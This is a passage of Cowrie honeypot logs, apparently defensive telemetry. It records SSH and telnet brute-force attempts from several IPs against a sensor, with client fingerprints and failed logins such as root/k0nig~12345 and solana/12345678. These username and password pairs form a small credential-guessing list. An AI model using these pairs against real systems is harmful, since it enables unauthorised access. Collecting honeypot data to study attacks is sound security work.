0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:47.915257Z","src_ip":"176.65.132.129","session":"4fb732fe9fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.6066789627075195,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.039773Z","src_ip":"35.187.68.36","session":"7981d77aa1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7725253105163574,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.044951Z","src_ip":"35.187.68.36","session":"cc965645af98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.087028980255127,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.048617Z","src_ip":"35.187.68.36","session":"eeff3bf9ebef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3071019649505615,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.112886Z","src_ip":"35.187.68.36","session":"760c6599080f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4666950702667236,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.116018Z","src_ip":"35.187.68.36","session":"0ab3add263d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6262292861938477,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.119193Z","src_ip":"35.187.68.36","session":"f0f3d3e10453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.789705753326416,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.126107Z","src_ip":"35.187.68.36","session":"a655864fb8c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9576730728149414,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.129815Z","src_ip":"35.187.68.36","session":"3f8aa271cda9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.121734380722046,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.133164Z","src_ip":"35.187.68.36","session":"2520a5b17081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.280733823776245,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.136647Z","src_ip":"35.187.68.36","session":"ca6b9d0cb614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.441704273223877,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.141021Z","src_ip":"35.187.68.36","session":"2a9ab7612494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6059792041778564,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.144558Z","src_ip":"35.187.68.36","session":"305fbcaba12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.76454496383667,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.148251Z","src_ip":"35.187.68.36","session":"fb52eb93aa2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9213836193084717,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.151655Z","src_ip":"35.187.68.36","session":"8fea8571f604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.0803234577178955,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.155199Z","src_ip":"35.187.68.36","session":"d6a9a924a719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.239022731781006,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.158719Z","src_ip":"35.187.68.36","session":"5a3ba452bb7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.553062200546265,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.162046Z","src_ip":"35.187.68.36","session":"476784ed0cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.786043882369995,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.165377Z","src_ip":"35.187.68.36","session":"be177392d70c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.94549036026001,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.169441Z","src_ip":"35.187.68.36","session":"d3a3628bb16a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.1061928272247314,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.172723Z","src_ip":"35.187.68.36","session":"bde3a0f79813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.264464378356934,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.175734Z","src_ip":"35.187.68.36","session":"34ae3045a37c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.423149824142456,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.178772Z","src_ip":"35.187.68.36","session":"1c267e7a4556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.580625057220459,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.181755Z","src_ip":"35.187.68.36","session":"731cd5e6dedc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.739202976226807,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.186065Z","src_ip":"35.187.68.36","session":"6cb09d2cf2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.896541118621826,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.188367Z","src_ip":"35.187.68.36","session":"5646af8d5f18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.377345323562622,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.190814Z","src_ip":"35.187.68.36","session":"5207bbb4d47c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:48.297010Z","src_ip":"176.65.132.129","session":"4fb732fe9fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:49.381571Z","src_ip":"176.65.132.129","session":"4fb732fe9fe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43350,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc8805d6ad7","protocol":"ssh","message":"New connection: 176.65.132.129:43350 (159.203.135.109:22) [session: 6bc8805d6ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:51.087521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:51.092467Z","src_ip":"176.65.132.129","session":"6bc8805d6ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:51.174289Z","src_ip":"176.65.132.129","session":"6bc8805d6ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:51.420069Z","src_ip":"176.65.132.129","session":"6bc8805d6ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:52.556419Z","src_ip":"176.65.132.129","session":"6bc8805d6ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43352,"dst_ip":"159.203.135.109","dst_port":22,"session":"28d569e6d714","protocol":"ssh","message":"New connection: 176.65.132.129:43352 (159.203.135.109:22) [session: 28d569e6d714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:54.246672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:54.250581Z","src_ip":"176.65.132.129","session":"28d569e6d714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:54.334355Z","src_ip":"176.65.132.129","session":"28d569e6d714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:54.588069Z","src_ip":"176.65.132.129","session":"28d569e6d714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:55.679375Z","src_ip":"176.65.132.129","session":"28d569e6d714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60978,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba85414f4a9","protocol":"ssh","message":"New connection: 176.65.132.129:60978 (159.203.135.109:22) [session: 4ba85414f4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:57.498866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:57.503464Z","src_ip":"176.65.132.129","session":"4ba85414f4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:57.672571Z","src_ip":"176.65.132.129","session":"4ba85414f4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":51830,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba95d6a9460f","protocol":"ssh","message":"New connection: 186.13.24.118:51830 (10.17.0.5:22) [session: ba95d6a9460f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:57.910966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:57.917116Z","src_ip":"186.13.24.118","session":"ba95d6a9460f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:58.001625Z","src_ip":"176.65.132.129","session":"4ba85414f4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:58.075483Z","src_ip":"186.13.24.118","session":"ba95d6a9460f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig~12345","message":"login attempt [root/k0nig~12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:58.731269Z","src_ip":"186.13.24.118","session":"ba95d6a9460f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:59.086095Z","src_ip":"176.65.132.129","session":"4ba85414f4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:59.890795Z","src_ip":"186.13.24.118","session":"ba95d6a9460f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60986,"dst_ip":"159.203.135.109","dst_port":22,"session":"56965af97c0d","protocol":"ssh","message":"New connection: 176.65.132.129:60986 (159.203.135.109:22) [session: 56965af97c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:00.875437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:00.880372Z","src_ip":"176.65.132.129","session":"56965af97c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:00.963492Z","src_ip":"176.65.132.129","session":"56965af97c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:01.211607Z","src_ip":"176.65.132.129","session":"56965af97c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:02.297619Z","src_ip":"176.65.132.129","session":"56965af97c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48422,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c650bfd033","protocol":"ssh","message":"New connection: 80.94.92.184:48422 (10.17.0.5:22) [session: 39c650bfd033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:03.017861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:03.116458Z","src_ip":"80.94.92.184","session":"39c650bfd033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:03.200369Z","src_ip":"80.94.92.184","session":"39c650bfd033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:03.802334Z","src_ip":"80.94.92.184","session":"39c650bfd033","protocol":"ssh"}
